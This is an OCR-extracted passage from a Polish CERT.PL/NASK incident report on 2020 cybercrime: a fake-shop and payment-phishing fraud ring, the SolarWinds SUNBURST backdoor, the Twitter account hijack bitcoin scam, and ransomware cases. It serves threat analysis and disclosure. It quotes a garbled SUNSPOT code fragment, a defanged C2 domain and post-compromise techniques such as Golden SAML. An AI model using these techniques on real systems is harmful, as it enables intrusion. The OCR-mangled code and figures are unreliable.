monitcomplex.net, xkomp.net, hotokazje.com,
mediamax.in.net, retrortv.in.net, mediartvadg.
in.net, okazyjnie.net. Sklepy te rejestrowane
byty na dane tzw. ,stupow” lub dane pochodza-
ce z kradziezy tozsamosci. Dla zapewnienia
wyzszych zyskow sklepy byty dobrze wypro-
mowane oraz wysoko wypozycjonowane.
Srodki wptacane przez pokrzywdzonych trafiaty
na rachunki ,stupow’, to jest osob, ktére za nie-
wielkg optatg zaktadaty na wtasne dane nawet
kilkanascie rachunkéw bankowych i przeka-
zywaty do nich dostep cyberprzestepcom.
Na dane ,stupow” rejestrowane byty rowniez
przedptacone karty SIM oraz zaktadane konta
na gietdach kryptowalut.

W toku postepowania zarzuty zostaty po-
stawione m.in. dzieki dziataniom podjetym
przez funkcjonariuszy Wydziatu dw. z Cy-
berprzestepczoscig Komendy Wojewodzkie]
Policji w Gorzowie Wielkopolskim. Oskarzony
Bartosz B. zajmowat sie m.in. obstugg tele-
foniczng fatszywych sklepow internetowych
oraz wytudzaniem danych z bankow. W wyniku
czynnosci przeprowadzonych przez funkcjo-
nariuszy Wydziatu dw. z Cyberprzestepczoscig
Komendy Wojewddzkiej Policji w Katowicach
ustalono, ze wspotpracowat on z Jakubem D,
postugujgcym sie nickiem RyszardLwieSerce.
Zatrzymano rowniez jego wspotpracownikow
odpowiedzialnych za pozyskiwanie rachunkow
bankowych —w tym Marcina W., ktory sprzedat
nie mniej niz 200 rachunkéw bankowych, Artu-
ra G. oraz Sebastiana B.

Przeprowadzone czynnosci pozwolity rowniez
na ustalenie, ze Jakub D. i Sebastian B. byli
jednoczesnie odpowiedzialni za tzw. ,fatszywg
bramke ptatnosci®, czyli strony podszywajgce
sie pod serwisy ptatnosci Dotpay i PayU. W wy-
niku czynnosci podjetych przez funkcjonariuszy

Policji z Wydziatow dw. z Cyberprzestepczo-



$cig KWP w Katowicach i todzi oraz CBSP
zatrzymano wspotdziatajgcych z Jakubem D.
— Macieja A, Przemystawa G. oraz Barttomieja
N. Osoby te odpowiedzialne byty za pranie
pieniedzy pochodzgcych z przestepstwa,
wysytanie wiadomosci SMS z linkami do fat-
szywych stron paneli ptatnosci i informacja,
ze po wejsciu na wskazang w linku strone

nask CERT.PLO-

internetowg pokrzywdzeni pokryjg koszty prze-
sytki kurierskiej za zamawiane na Facebook
Market Place zabawki lub produkty dzieciece.
Przy podejrzanych zatrzymano liczne karty SIM
zarejestrowane na dane innych osob, doku-
mentacje bankowg, a takze maski i przebrania
wykorzystywane przy dokonywaniu wyptat
w bankomatach.

Rys. 74. Dowody zabezpieczone podczas zatrzymania. Zrédto: https:/zaufanatrzeciastrona.pl.

W wyniku dziatan podjetych przez funkcjo-
nariuszy Policji z Wydziatu dw. z Cyberprze-
stepczoscig w Katowicach udato sie rowniez
ustali¢ i zatrzymac Jacka O. postugujgcego
sie nickiem Siciliantellegram oraz osoby z nim
wspotdziatajgce — odpowiedzialne za wysytke
wiadomosci SMS do pokrzywdzonych, zarzg-
dzajgce wyptatami, pozyskujgce rachunki ban-
kowe. Jacek O. jest odpowiedzialny za wystanie
do pokrzywdzonych nie mniej niz 40 000 wiado-
mosci SMS zawierajgcych linki do fatszywych
paneli ptatnosci i informacje o koniecznosci
pilnego uregulowania naleznosci za energie
elektryczng. Na jego komputerze ujawniono
m.in. dowody na udziat w praniu pieniedzy, po-
siadanie ztosliwego oprogramowania z rodziny

Anubis atakujgcego telefony komorkowe, oraz
bazy danych zawierajgce loginy i hasta do kont
poczty elektronicznej co najmniej kilkudziesie-
ciu tysiecy osob. Wskazuje to na bardzo duzg
skale przestepczej dziatalnosci podejrzanego.

Dzieki dalszym czynnosciom podjetym w po-
stepowaniu, pozbawiono anonimowosci osoby
odpowiedzialne za pranie pieniedzy, w tym przy
uzyciu bitomatéw na terenie Warszawy. Czton-
kowie grupy, m.in. Pawet N. oraz Przemystaw
S., majgcy na forum o nazwie Cebulka range
tzw. ,bankierow”, zostali zatrzymani przez funk-
cjonariuszy CBSP oraz KWP w todzi w okresie
od wrzesnia do grudnia 2020 .
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Ataki na tancuch dostaw (ang. supply chain
attack) zdarzajg sie rzadko, dlatego nieczesto
sg wykrywane. W ubiegtym roku do firm, ktore
padty ofiarg takiego ataku (jak m.in. ASUS
w 2018 r.) dotgczyt Solarwinds — producent
oprogramowania stuzgcego do zarzgdzania
I monitorowania rozwigzan IT. Do aktualizacji
oprogramowania Orion, dostarczanej przez
Solarwinds, zostat dotgczony backdoor o na-
zwie SUNBURST.

Atak na tancuch dostaw — co to
takiego?

Atakowanie tancucha dostaw oznacza, ze ata-
kujacy wykorzystuje niedoktadnie zabezpieczo-
ny przez dostawce kanat dostarczania produktu
do jego klientow. Moze to sie zdarzy¢ zarowno
w obszarze wyrobow fizycznych (np. sprzetu
elektronicznego poprzez instalacje ztosliwych
podzespotdéw na etapie produkcji u podwyko-
nawcy), jak i ustug/oprogramowania. W drugim
przypadku zazwyczaj oznacza to, ze atakujacy
dotgcza ztosliwy kod do aktualizacji. Zazwyczaj
oznacza to kompromitacje nie tylko samego
producenta, ale wszystkich klientow, ktorzy
na biezgco aktualizujg oprogramowanie.
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Supply chain attack

BACKDOOR
Supply chain ACCESS
attacker ’
b
Third-party
vendor
Targeted

organization

Rys. 75. llustracja ataku na taincuch dostaw. Zrédto: TechTarget.

Ataki takie nie sg generyczne — opierajg sie
na znajomosci stabych punktéw tancucha
dostaw konkretnego producenta. Moga to byc¢
Zle zabezpieczone serwery, z ktérych pobierana
jest aktualizacja, ale stac sie tak moze rowniez
poprzez zainfekowanie stacji roboczej lub
narzedzi uzywanych przez pojedynczego pro-
gramiste. Atak ten nalezy zatem do klasy APT
(ang. Advanced Persistent Threat) i musi by¢
przygotowany z myslg o konkretnym producen-
cie. Dodatkowo atakujgcy musi podjgc wysitek,
aby ukry¢ fakt kontrolowania infrastruktury
ofiary.

Jak do tego doszto? — nie wiem

Firma FireEye, znany dostawca rozwigzan
w zakresie cyberbezpieczenstwa, korzystata
z oprogramowania dostarczanego przez
Solarwinds. W wyniku ataku cyberprzestepcow
z firmy wyciekty narzedzia uzywane do skano-
wania podatnosci u klientow. W trakcie obstugi
incydentu badacze pracujgcy w FireEye odkryli,
ze doszto do zainfekowania oprogramowania
Orion IT. W grudniu o sytuacji poinformowata
sama firma FireEye. Uwaza sie, ze atak naj-
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prawdopodobniej byt powigzany z grupg APT
(oznaczong jako UNC245263) sponsorowang
przez rzad jednego z panstw. Podejrzenia
padajg na Rosje, jednak badacze nie pozyskali
na to wystarczajgcych dowodowe4,

Sposob przygotowania payloadu (nazwa-
nego SUNBURST) wskazywat, ze atak
przygotowywany byt miesigcami. W ramach
Sledztwa w Solarwinds ustalono, ze jednym
z mozliwych punktow wejscia byta ustuga
chmurowa Office365, gdzie zidentyfikowano
przejete konta. Ponadto odkryto, ze przejete
zostaty rowniez skrzynki pocztowe niektorych
pracownikow oraz, ze atakujgcy uzyskali nie-
uprawniony dostep do serwera Active Directory.
Firma CrowdStrike, asystujgca Solarwinds
w czynnosciach sledczych, odkryta i opisata,
ze SUNBURST zostat dostarczony przy pomocy
SUNSPOT (narzedzie powigzane z grupg APT
StellarParticle), ktéry zatgczat ztosliwy kod
do oprogramowania Orion w trakcie procesu
budowy rozwigzaniat5. SUNSPOT monitorowat
liste procesow pod katem trwajgcej kompilaciji
oprogramowania, czyli obecnosci uruchomio-
nego procesu msbuild.exe.

W terminologii FireEye UNC oznacza tzw. clustering activity, czyli nazwe grupy, dla ktérej nie zostato jeszcze ustalone,
czy jest to czes$é dziatalnosci juz znanej grupy APT, czy zupetnie nowej
https://www.zdnet.com/article/us-government-formally-blames-russia-for-solarwinds-hack/

129 65 https:/www.crowdstrike.com/blog/sunspot-malware-technical-analysis/
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def elf_hash(name):
# Test input: b'msbuild.exe'
# Test output: Ox53D525
h=298
for ¢ in name:
v = (c + (h << 4))
msh = v & 8xFPROOOEO
if msb '= @:
v A= (msh >> 24)
h = -~msh & v
return h

nask CERT.PLO-

Rys. 76. Fragment kodu SUNSPOT odpowiedzialny za poszukiwanie procesu msbuild.exe. Zrédto: CrowdStrike.

Nie udato sie jednak ustali¢, co doktadnie byto
punktem wejscia w przeprowadzonym ataku.
Pomimo, ze pierwsze doniesienia o udanym
ataku miaty miejsce w grudniu 2020 r. — dzis
wiadomo juz, ze do wstepnych, nieuprawnio-

Earliest identified
modification of SolarWinds
Orion software code
10/26/2019
Earliest recorded
domain registration

0&M062018 2020

nych modyfikacji kodu Orion doszto pod koniec
pazdziernika 2019 r. Modyfikacje te nie byty
ztosliwe, co prawdopodobnie oznacza, ze byty
to tylko testy.

FEYE SclarWinds
Report
1211352020

Weaponized SolarWinds Orion
software updates released

FEYE red team tools report
RTtel 1210812020

12/06/2019
DGA domain
avavmcloud(. ] com

acquired
22020

First SSL Certificate
acquired

2021

121472020

SolarWinds Security
Advisory released

121572020

Microsoft seizes
SUNBURST C2 domain

Rys. 77. Os czasu: wydarzenia powigzane z atakiem i reakcjg na obecnosé¢ ztosliwego oprogramowania w produkcie

SolarWinds. Zrédto: PaloAlto.

Zasieg ataku

Atakujgcy uzyskali dostep nie tylko do infra-
struktury SolarWinds, ale réwniez do infra-
struktury klientow firmy. Nie kazdy, u ktérego
znalazt sie SUNBURST, byt faktycznym celem
ataku, poniewaz dalsze fazy nastepowaty tylko
w wybranych organizacjach. Wsrod klientow

SolarWinds, korzystajgcych z Orion IT, byto 425
firm z listy Fortune 500: wiodgcy dostawcy roz-
wigzan telekomunikacyjnych, firmy zajmujgce
sie ksiegowoscig, uniwersytety oraz instytucje
wojskowe i panstwowe USA (w tym Pentagon
czy Departament Stanu). Jak twierdzi firma
SolarWinds, mniej niz 100 klientow znalazto sie
W obszarze zainteresowan atakujgcych.
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Charakterystyka UNC2452 wskazuje, ze gtow-
nym celem grupy byto pozyskiwanie poufnych
dokumentow i kradziez wtasnosci intelektual-
nej, ze szczegolnym uwzglednieniem dokumen-
tow dotyczgcych bezpieczenstwa i informacji
na temat personelu zajmujgcego sie tg tematy-
kg. Dotychczas nie stwierdzono dziatan grupy
w kierunku pozyskiwania danych finansowych,
ani prob niszczenia infrastruktury zaatako-
wanych podmiotow. Grupa raczej skupia sie
na wykorzystaniu juz pozyskanych dostepodw,
a nie na agresywnym rozprzestrzenianiu
ztosliwego oprogramowania, co potwierdza,
ze specjalizuje sie ona w atakach typu APT.

public static vold Deletefile(string]] args)

s
“%
=
“%

Rys. 78. Fragment kodu oprogramowania SUNBURST zdekompilowany przy uzyciu narzedzia ILSpy. Zrédto: varonis.
com.

Ztosliwy kod byt wstrzykniety w aktualizacje
Orion IT, w zwigzku z czym byt tadowany przez
proces odpowiedzialny za obstuge aktualizacji
dla tego oprogramowania (np. SolarWinds.
BusinesslLayerHost.exe). Producent zalecat
dodanie swojego oprogramowania do wyjat-
kow w programie antywirusowym, by unikngc
fatszywych detekgji.
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SUNBURST — cechy szczegdlne

Tworecy backdoora SUNBURST przyktadali
szczegolng wage do tego, aby byt trudny do wy-
krycia. Zaréwno struktura jego kodu zrédtowe-
go jak i sposob komunikacji z serwerami C&C
(ang. command and control) byty przemyslane
tak, aby backdoor mogt przez dtugi czas pozo-
stawac niezauwazony. Oznacza to, ze tworcy
byli dobrze przygotowani nie tylko w zakresie
technicznym (zaawansowane metody ataku,
duza wiedza o systemach uzywanych w ata-
kowanej organizacji), ale znali réwniez metody
stosowane w zespotach bezpieczenstwa
wykrywajgcych zagrozenia.

Kod byt napisany tak, aby nie wzbudzac podej-
rzen — nazwy klas i zmiennych przypominaty te
uzywane w hieztosliwym kodzie (np. Job).

- a e

d to fscorrect decospilation of wee parts, [aproman: - e [
1 the missisg references to the list of losded sssemblies L i

W celu utrudnienia powigzania infekcji z za-
infekowang aktualizacjg, ztosliwy kod nie byt
uruchamiany od razu, ale czekat w uspieniu
do 2 tygodni. Po tym czasie probowat roz-
wigza¢ domene avsvmcloud[.Jcom (domena
ta byta wyliczana z osadzonych w kodzie
wartosci) i w odpowiedzi otrzymywat wtasciwe
adresy serwerow C&C w rekordach DNS typu
CNAMES®S6,
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SUNBURST zbierat i wysytat podstawowe infor-
macje o zainfekowanej maszynie do serwera
C&C. Ponadto, na tym etapie zatrzymane zo-
staty ustugi i procesy z okreslonej listy. Wsrod
nich byty to gtdwnie narzedzia antywirusowe
i stuzgce do analizy wstecznej i powtamanio-
wej. W momencie, gdy wszystkie procesy z listy
zostaty zatrzymane, algorytm DGA (ang. Doma-
in Generation Algorithm) generowat unikalng

subdomene dla kazdej ofiary, dzieki czemu
serwer C&C mogt reagowac odpowiednio
w zaleznosci od tego, kto wykonywat zapytania.

Komunikacja z procesami C&C rowniez byta
ukryta, zas generowane nazwy domen miaty
przypominac¢ normalng komunikacje (pobiera-
nie czcionek, wymiana danych XML powigza-
nych z aplikacjami .NET).
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Rys. 79. Przyktadowe adresy, po ktérych SUNBURST komunikowat sie z serwerami C&C. Zrédto: Microsoft.

Lateral movement i persystencja

W ramach dalszych faz ataku i prob utrzymania
dostepu do zainfekowanej infrastruktury stoso-
wano nastepujgce kroki/techniki:

+ przy drugiej fazie ataku dostarczano pay-
loady TEARDOWN (unikalny dla SUNBURST
payload) i odpowiednio dostosowang wersje
oprogramowania BEACON (narzedzie Cobalt-
Strike),

+ od czasu do czasu instalowane byto takze
narzedzie Mimikatz, stuzgce do oglgdania
i zapisywania danych uwierzytelniajgcych,
stosujgce aktualne techniki ataku na opro-
gramowanie firmy Microsoft,

+ dokonywano atakow Golden SAML. SAML to
protokot umozliwiajgey realizacje ustugi sin-
gle sign-on, poprzez przekazywanie danych
uwierzytelniajgcych pomiedzy aplikacjami,

- modyfikowano Trusted Domains, czyli dome-
ny, ktorym system ufa w kwestiach autoryza-
cji uzytkownikéw poprzez dopisanie domen
nalezgcych do infrastruktury przestepcow,

+ pozyskiwano dostep do uprzywilejowanych
kont Azure AD i wykorzystywano je do dal-
szych dziatan,

+ Przejmowano kontrole nad aplikacjami Azure
poprzez przejecie uprzywilejowanego konta
lub dodanie wtasnych certyfikatow/ haset, co
dawato dostep m.in. do czytania catej poczty.

Wszystkie powyzsze czynnosci stuzyty jedno-
czesnie zachowaniu persystencji — tworzono
wiele punktéw dostepu do organizacji. Stoso-
wano rowniez zaawansowane techniki przeciw-
dziatania uwierzytelnieniu wielosktadnikowemu
m.in. poprzez dodawanie numerow telefonéw
pozostajgcych pod kontrolg atakujgcych.

66 Typ rekordu uzywany do mapowania nazwy domeny na inng nazwe.
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Whioski

Atak na SolarWinds stanowi pewnego rodzaju
niebezpieczny precedens. Pokazuje, ze grupy
APT sg juz w tej chwili zdolne do przeprowa-
dzania wybitnie spersonalizowanych i dtugo-
trwatych atakow na kluczowe podmioty. Bardzo
trudno jest takie ataki wykryc¢ i zespoty zajmu-
jace sie bezpieczenstwem IT w duzej mierze
nie sg na nie wystarczajgco przygotowane. Sg
to rowniez ataki, ktore na state przyczynig sie
do zmniejszenia zaufania wobec zewnetrznych
podmiotow, poniewaz nie mamy pewno-
sci, ze nasz dostawca oprogramowania nie sta-
nie sie ofiarg ataku. Zawiodty standardowe
zabezpieczenia, takie jak podpisywanie kodu
czy stosowanie oprogramowania antywiruso-
wego. Infrastruktura atakujgcych byta mocno
spersonalizowana pod konkretny podmiot, np.
VPS-y w kraju ofiar czy odpowiednio dobrane
domeny. Zasieg ataku byt niewyobrazalnie
duzy i spowodowat nieodwracalne szkody
dla ofiar — prawdopodobnie bedzie sie wigzat
z przeprojektowaniem skompromitowanego
systemu bezpieczenstwa. Istotnie zaszkodzit
rowniez samym produktom wytwarzanym
przez dane przedsiebiorstwo (wyciek wtasnosci
intelektualneyj).

Nie jest mozliwa stuprocentowa ochrona
w przypadku tego typu atakow. Szczegolnie
przy ztozonych systemach duzych organizacji,
odpowiedniej wiedzy technicznej i motywacji
atakujgcych, istnieje spora szansa na odnale-
zienie i wykorzystanie podatnosci.

Na szczescie istniejg sposoby na znaczne
zmniejszenie ryzyka i ztagodzenie skutkow
ataku. Sg to m.in. dziatania takie jak: wpro-
wadzenie architektury Zero Trust, stosowanie
systemow DLP (ang. Data Leakage Prevention),
czy wykorzystanie nowoczesnego oprogramo-
wania antywirusowego, uwzgledniajgcego np.
czynniki behawioralne.
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Dla zainteresowanych

Artykut stanowi poglgdowy opis zdarzen i spo-
sobu dziatania grupy APT odpowiedzialnej
za atak na SolarWinds. Zainteresowanych
odsytamy do dalszej lektury artykutow zrodto-
wych:

+ Artykut FireEye o SUNBURST

https://www.fireeye.com/blog/threat-rese-
arch/2020/12/evasive-attacker-leverages-so-
larwinds-supply-chain-compromises-with-sun-
burst-backdoor.htm|

+ Prezentacja FirekEye na temat UNC2452

https:/www.fireeye.com/content/dam/fireeye-
-www/current-threats/pdfs/wbnr-unc2452-pre-
sentation-slides.pdf

« Artykut CrowdStrike na temat SUNSPOT

https://www.crowdstrike.com/blog/sunspot-
-malware-technical-analysis/

+ Na czym polega Golden SAML

https://www.cvberark.com/resources/threat-
-research-blog/golden-saml-newly-discovered-
-attack-technigue-forges-authentication-to-clo-

ud-apps
+ Analiza SUNBURST Microsoftu

https://www.microsoft.com/security/
blog/2020/12/18/analyzing-solorigate-the-
-compromised-dll-file-that-started-a-sophisti-

cated-cyberattack-and-how-microsoft-defen-
der-helps-protect/
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Istniejg ztozone scenariusze oszustw interne-
towych, ktore pozwalajg naciggaczom zarabiac
ogromne sumy pieniedzy, jednak ich realizacja
jest bardzo czasochtonna. Z drugiej strony
spektrum znajdujg sie niewyszukane oszustwa,
wymagajgce jedynie podstawowej wiedzy
i minimalnego wktadu koordynatora procede-
ru. Osoby te, uzywajgc prostego schematu,
starajg sie dotrzec¢ do jak najwiekszej liczby
potencjalnych ofiar. Zdecydowana wiekszosc¢
internautow od razu rozpoznaje podstep, jed-
nak wcigz ten niewielki procent nieostroznych
jest w stanie zapewnic przestepcom zadowa-
lajgcy zysk.

Prosty schemat

Jednym z tego typu oszustw jest tzw. ,scam
bitcoinowy”. Jego koncepcja polega najcze-
Sciej na podszywaniu sie pod znang osobe
i oferowaniu szybkiego zarobku w ramach
operacji na tej kryptowalucie. Bardzo czesto
jest to realizowane przez tworzone w mediach
spotecznosciowych konta, ktorych nazwy
wybierane sg tak, by jak najdoktadniej nasla-

67w kryptowalutach, odpowiednik numeru konta bankowego

dowaty te uzywane przez znane osobistosci.
Zdjecia profilowe kopiowane sg z prawdzi-
wego profilu imitowanej postaci. Nastepnie
w mediach spotecznosciowych publikowane
sg tresci zachecajgce do wptat dowolnej sumy
kryptowaluty na podany adres portfela®?,
przy rownoczesnym zapewnieniu, ze srodKki
zostang zwrocone na portfel wptacajgcego
i w dodatku powiekszone dwukrotnie. Komuni-
katowi towarzyszy informacja o tymczasowym
wysmienitym samopoczuciu darczyncy, ktory
w ten sposob spetnia swojg zachcianke lub
podejmuje dziatania charytatywne. Oczywiscie
wpis dodatkowo zawiera ostrzezenie o krotkim
oknie czasowym — np. najblizsze 30 minut,
w ktérym bedzie mozna z tej propozycji sko-
rzystac. Takie okolicznosci sprawiajg, ze ofiary
podejmujg decyzje pod wptywem emocji, ich
czujnosc zostaje ostabiona i tatwiej wpadajg
w putapke. Czasami ofiary, chcgc sprawdzic
oferte, na poczgtku wptacajg niewielkie kwoty,
ktore zgodnie z obietnicg zostajg im zwrocone,
by zachecic do dalszych wptat. Ostatecznie jed-
nak scenariusz nie zaktada zwrotu wptaconych
srodkow.
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11 Elon Musk Retweeted

Elon Musk @

:-i’%|"'t @elonmusk

Feeling greatful, doubling all
payments sent to my BTC address!

You send $1,000, | send back

$2,000!

Only doing this for the next 30

minutes.

bc1gxy2kgdygjrsqtzq2n0yrf2493p8

3kkfjhxOwlh

4:27 PM - 7/15/20 - Twitter Web App

3,127 Retweets and comments 7,329 Lkesn

Rys. 80. Przejete konto Elona Muska na platformie Twitter.

Atak na niespotykang dotad skale

Oszustwo zrealizowane wedtug tego niewy-
szukanego schematu obserwowalismy w nocy
z15na 16 lipca 2020 r. Jedynym — lecz bardzo
istotnym odstepstwem od klasycznego scena-
riusza byto uzycie kont faktycznie nalezgcych
do 0sob cieszgcych sie duzg popularnoscig,
a nie fikcyjnych profili jedynie podszywajgcych
sie pod znanych ludzi.

Rzeczywiste, czesto zweryfikowane konta
na platformie Twitter, nalezgce do takich osob
jak Bill Gates, Elon Musk, Warren Buffet, Jeff
Bezos i Barrack Obama dotgczyty do wytu-
dzaczy. Sytuacja ta wprawita spotecznosc
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internetowg w spore zaktopotanie, poniewaz
bardzo trudno byto zrozumiec, co doktadnie sie
wydarzyto. Z pewnoscig mielismy do czynienia
z przejmowaniem tych kont, jednak z kazdg
chwilg sytuacja stawata sie coraz bardziej
skomplikowana. Nieautoryzowany dostep
do kont 0sob piastujgcych tak wysokie stanowi-
ska to bardzo rzadkie wydarzenie. Atakujgcym
ciezko bytoby przejgc takg liczbe profili w krot-
kim czasie, gdyby nie istniat wspdlny punkt
wejscia. Mogto to wskazywac na uzyskanie
dostepu do platformy posredniczgcej w zarza-
dzaniu tresciami tych osob lub na uzycie luki
bezpieczenstwa w samym Twitterze.
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Twitter Support & o
@TwitterSupport

We are aware of a security incident
impacting accounts on Twitter. We are
investigating and taking steps to fix it. We
will update everyone shortly.

11:45 PM : Jul 15, 2020

) 115.4K

Rys. 81. Komunikat Twittera w sprawie incydentu.

Twitter niezwtocznie podjat kroki majgce
na celu wyjasnienie sytuacji. Wpisy z przejetych
profili pojawiaty sie i znikaty, by po chwili znéw
wracac¢ na swoje miejsca. Dodatkowo w zbio-
rze przejetych przez wtamywaczy kont wcigz
pojawiaty sie nowe pozycje. Ostatecznie w puli
znalazto sie ich okoto 13068, Analiza przeptywu
srodkow w sieci Blockchain wykazata, ze ata-
kujgcym udato sie pozyskac srodki o wartosci
okoto 118 tys. dolaréw®®. Gietdy kryptowalut
rowniez zareagowaty na ten incydent blokujgc
mozliwos¢ wptat na adresy biorgce udziat
W scamie, co pozwolito ograniczy¢ straty
roztargnionych inwestorow. Blokada wewnatrz
samej tylko gietdy Coinbase pozwolita zatrzy-
mac przelewy od tysigca wtasnych klientow
na okoto 280 tys. dolarow?0.

68

() 36.8K

%’ Copy link to ...

Kto stoi za atakiem?

W czasie, gdy Twitter pracowat nad naprawie-
niem zrodta i skutkdw problemu, z magazynem
Techcrunch skontaktowaty sie osoby twierdzg-
ce’l, ze sg powigzane z tym atakiem. Z przeka-
zanych informacji wynikato, ze wtamywaczom
udato sie uzyskac¢ dostep do wewnetrznego
narzedzia administracyjnego platformy Twit-
ter. System ten pozwalat na zmiane danych
dowolnego konta, w tym réwniez przypisanego
do niego adresu e-mail, co zostato wykorzysta-
ne w dalszym kroku. Atakujgcy rozpoczynali
klasyczng procedure resetu hasta, jednak link
potwierdzajgcy te czynnosc¢ zamiast dotrze¢
do ofiary, wysytany byt na skrzynke kontrolo-
wang przez wtamywaczy. To pozwalato osta-
tecznie uzyskac petny dostep do kont.

Zrédto: https://edition.cnn.com/2020/07/16/tech/twitter-hack-security-analysis/index.html
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Zrédto: https://www.cbsnews.com/news/twitter-hack-verified-accounts-social-engineering-bitcoin-scam/

70

Zrédto: https://www.forbes.com/sites/billybambrough/2020/07/19/exclusive-twitter-hackers-could-have-stolen-a-

-whole-lot-more/
71

Zrédto: https://techcrunch.com/2020/07/15/twitter-hacker-admin-scam/

136


https://edition.cnn.com/2020/07/16/tech/twitter-hack-security-analysis/index.html
https://www.cbsnews.com/news/twitter-hack-verified-accounts-social-engineering-bitcoin-scam/
https://www.forbes.com/sites/billybambrough/2020/07/19/exclusive-twitter-hackers-could-have-stolen-a-whole-lot-more/
https://www.forbes.com/sites/billybambrough/2020/07/19/exclusive-twitter-hackers-could-have-stolen-a-whole-lot-more/
https://techcrunch.com/2020/07/15/twitter-hacker-admin-scam/

CERT.PL>-

NASK

- w Identity Email
oo oo
) 16 291 2715 @ 41.00 ' ‘
Exal i penente gomain ¢ S
| Bounced | nctive | Protected |
Account is inactive @ e €

Rys. 82. Zrzuty ekranu ujawnione przez atakujacych. Zrédto:

W ciggu 3 dni Twitter opublikowat oswiad-
czenie’2 dotyczgce sposobu, w jaki dziatali
oszusci, ktory byt zgodny z wczesniejszymi
doniesieniami medialnymi. Ponadto, jako
poczgtkowg przyczyne catego zamieszania
wskazano atak phishingowy na pracownikow
nizszego szczebla. Pozwolito to w pdzniejszym
czasie przeprowadzi¢ wewnatrz organizacji
kolejne ataki i uzyskac dostep do kont admini-
stracyjnych.

Niespetna 2 tygodnie pozniej, 31 lipca, FBI,
IRS oraz Secret Service aresztowaty’3 osoby
zamieszane w proceder. Hersztem okazat sie
by¢ 17-latek z Florydy. Dodatkowo zatrzymany
zostat 22-letni mezczyzna z Oregonu, a takze
19-letni obywatel Wielkiej Brytanii. Nie posiadali
oni ponadprzecietnej wiedzy technicznej z za-
kresu cyberbezpieczenstwa.

AP The Associated Press P 84l Following

Breaking: Two Explosions in the White
House and Barack Obama is injured
€ Reply T3 Retweet W Favorite = Buffer ®®® Niore

EAFR=4@04c

3,242 153

Techcrunch.

Mozliwe skutki

Cate przedsiewziecie zostato zwienczone
jednym z najprostszych scamow i nie wyrzg-
dzito powaznych szkod. Gdyby jednak sytuacja
potoczyta sie inaczej, moglibysmy miec do czy-
nienia z katastrofg na skale globalng. Prostym
przyktadem sg wydarzenia sprzed 7 lat. 23
kwietnia 2013 r. konto amerykanskiej agencji
prasowej Associated Press zostato przejete
wskutek ataku phishingowego?4. Na profilu or-
ganizacji pojawit sie krotki wpis: ,Wazne: Dwie
eksplozje w Biatym Domu, Barack Obama jest
ranny.” Informacja szybko zostata zdemento-
wana, jednak zdgzyta wywotac spore zamie-
szanie. Indeks gietdowy Dow Jones na dwie
minuty spadt o 145 punktéw, po czym powrdcit
do normalnej wartosci. Tego typu wahania dajg
mozliwos¢ duzego zarobku osobom majgcym
wczesniej wiedze o takim wydarzeniu.

Bar Chart
[rio Lowwer Chart L]

- Ev &

SN Tnde s

Rys. 83. Falszywa informacja opublikowana na oficjalnym profilu Associated Press oraz reakcja indeksu Dow Jones.

72 https://blog.twitter.com/en_us/topics/company/2020/an-update-on-our-security-incident.html
73 Zrédto: https://www.theverge.com/2020/7/31/21349920/twitter-hack-arrest-florida-teen-fbi-irs-secret-service
https://eu.usatoday.com/story/theoval/2013/04/23/obama-carney-associated-press-hack-white-house/2106757/
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W roku 2020, oprocz kosztow poniesionych
z powodu Swiatowej pandemii, przedsiebior-
stwa na catym Swiecie borykaty sie z rosngcym
zagrozeniem w postaci atakow ransomware.
Szacuje sie, ze w ubiegtym roku liczba atakéw
z uzyciem tego oprogramowania wzrosta
o ponad 150 procent’s. Cyberprzestepcy zna-
czgco podwyzszyli kwoty okupow i usprawnili
procesy obstugi ofiar.

Najwieksze ataki 2020

Na Swiecie miato miejsce wiele bardzo dotkli-
wych atakow ransomware. Przedstawiamy
podsumowanie najgtosniejszych, czesto row-
niez najbardziej kosztownych przypadkow.

Garmin

23 lipca Garmin, amerykanska firma tworzgca
rozwigzania GPS w lotnictwie, nawigacji mor-
skiej, sporcie, turystyce i rekreacji, padta ofiarg
dobrze przygotowanego ataku ransomware
WastedLocker, powigzanego z rosyjska grupg
Evil Corp. Zaszyfrowana zostata sie¢ wewnetrz-
na Garmina oraz niektore systemy produkcyjne.
Firmie udato sie rozpoczac¢ przywracanie ustugi
po 5 dniach. Nieoficjalnie mowi sie, ze firma za-
ptacita okup w wysokosci 10 milionow dolarow.

75

ISS World

17 lutego miat miejsce atak na dunskg firme
ISS World zajmujgca sie dostarczaniem ustug
w zakresie utrzymywania budynkoéw (m.in.
ustugi wsparcia administracyjnego, utrzymania
czystosci i dostaw zywnosci). Ransomware za-
szyfrowat ich baze danych w wyniku czego ok.
500 000 pracownikow firmy na catym swiecie
utracito dostep do firmowych systemaow, w tym
poczty elektronicznej’6. Oszacowano, ze na-
prawienie szkod powstatych w wyniku ataku
pochtonie co najmniej 75 milionéw dolarow.

Cognizant

17 kwietnia zaatakowany zostat gigant branzy
IT — amerykanska firma Cognizant. Koncern
dos¢ szybko wystat wiadomosci do swoich
klientow. Maile te zawieraty m.in. loC, ktére
pozwalaty zidentyfikowac rodzine jako Maze
Ransomware. Ataki te zazwyczaj powigzane
sg nie tylko z zaszyfrowaniem dyskow, ale
rowniez z eksfiltracjg danych. Z firmy najpraw-
dopodobniej wyciekty wrazliwe dane, takie jak
informacje finansowe czy identyfikatory podat-
kowe. Na przestrzeni 2020 r. tzw. ,podwdjne
ataki” (zaszyfrowanie w potgczeniu z kradziezg
danych) staty sie bardzo powszechng praktyka.
Operatorzy ransomware Maze zaprzeczyli, by
brali udziat w tym incydencie?”.

https://www.helpnetsecurity.com/2021/03/08/ransomware-attacks-grew-2020/
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https://www.computerweekly.com/news/252478890/Facilities-firm-ISS-World-crippled-by-ransomware-attack

77

tack/

https://www.bleepingcomputer.com/news/security/it-giant-cognizant-confirms-data-breach-after-ransomware-at- 138


https://www.helpnetsecurity.com/2021/03/08/ransomware-attacks-grew-2020/
https://www.computerweekly.com/news/252478890/Facilities-firm-ISS-World-crippled-by-ransomware-attack
https://www.bleepingcomputer.com/news/security/it-giant-cognizant-confirms-data-breach-after-ransomware-attack/
https://www.bleepingcomputer.com/news/security/it-giant-cognizant-confirms-data-breach-after-ransomware-attack/

nasik CERT.PLOZ

Sopra Steria

W pazdzierniku francuska firma IT Sopra Steria
padta ofiarg ransomware Revil. Zaszyfrowanie
bazy danych i spowodowana tym niedostep-
nosc¢ ustug kosztowaty firme miedzy 40 a 50
milionéw dolarow?8. Szczesliwie udato sie unik-
ng¢ wycieku danych.

Grubman Shire Meiselas & Sacks

Ta sama grupa (Revil/Sodinokobi) w maju
